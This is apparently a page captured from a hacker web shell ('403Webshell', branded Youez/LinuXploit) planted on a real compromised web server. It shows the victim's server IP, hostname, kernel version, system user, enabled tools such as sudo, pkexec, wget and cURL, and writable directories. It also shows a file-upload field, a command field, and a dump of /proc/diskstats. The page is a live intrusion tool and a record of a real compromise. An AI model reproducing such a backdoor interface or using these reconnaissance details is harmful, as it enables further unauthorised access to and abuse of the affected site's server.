403Webshell
Server IP : 189.126.111.107  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User : gadotticar ( 1000)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/diskstats
   7       0 loop0 4 0 8 8 0 0 0 0 0 16 8 0 0 0 0
   7       1 loop1 242565 0 61163170 32235 0 0 0 0 0 842244 11544 0 0 0 0
   7       2 loop2 1585998 0 64705036 393629 0 0 0 0 0 981472 180196 0 0 0 0
   7       3 loop3 243809 0 62184448 22675 0 0 0 0 0 840256 4080 0 0 0 0
   7       4 loop4 243933 0 62184648 22677 0 0 0 0 0 840560 4852 0 0 0 0
   7       5 loop5 243908 0 62184658 22522 0 0 0 0 0 841404 4832 0 0 0 0
   7       6 loop6 250857 0 62198508 57101 0 0 0 0 0 843644 32020 0 0 0 0
   7       7 loop7 244109 0 62199500 27384 0 0 0 0 0 843992 10064 0 0 0 0
 202       0 xvda 237295463 21287232 10130876381 526379871 931592896 1435895025 24883156738 3590649712 0 628180772 2652960588 0 0 0 0
 202       1 xvda1 1284527 0 10276216 909243 0 0 0 0 0 1349792 290196 0 0 0 0
 202       2 xvda2 235282044 21287232 10058412789 523842777 870437709 1435895025 24883156738 3583409900 0 627045876 2650942568 0 0 0 0
   7       8 loop8 246524 0 62202336 25132 0 0 0 0 0 844848 7184 0 0 0 0
   7       9 loop9 243833 0 62196594 24077 0 0 0 0 0 844240 6796 0 0 0 0
   7      10 loop10 254670 0 62218142 33305 0 0 0 0 0 845712 9620 0 0 0 0
   7      11 loop11 243247 0 62182780 22234 0 0 0 0 0 843616 5744 0 0 0 0
   7      12 loop12 243364 0 62182986 21561 0 0 0 0 0 845020 4932 0 0 0 0
   7      13 loop13 240022 0 58654698 25512 0 0 0 0 0 799940 7944 0 0 0 0
   7      14 loop14 250636 0 62209606 24907 0 0 0 0 0 847360 7416 0 0 0 0
   7      15 loop15 252447 0 62213070 24958 0 0 0 0 0 846940 7668 0 0 0 0
   7      16 loop16 255455 0 62218936 31442 0 0 0 0 0 847464 10080 0 0 0 0
   7      17 loop17 266468 0 62241266 25515 0 0 0 0 0 848192 6672 0 0 0 0
   7      18 loop18 204403 0 52215244 20335 0 0 0 0 0 710856 5936 0 0 0 0
   7      19 loop19 205261 0 50256376 42638 0 0 0 0 0 687944 25132 0 0 0 0
   7      20 loop20 243410 0 62195954 19175 0 0 0 0 0 842472 3116 0 0 0 0
   7      21 loop21 998991 0 57787156 351563 0 0 0 0 0 843064 164128 0 0 0 0
   7      22 loop22 209652 0 51338188 16744 0 0 0 0 0 692100 2244 0 0 0 0
   7      23 loop23 397785 0 59412716 232885 0 0 0 0 0 822456 147672 0 0 0 0
   7      24 loop24 183362 0 46666062 16993 0 0 0 0 0 625424 348 0 0 0 0
   7      25 loop25 9 0 24 5 0 0 0 0 0 8 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit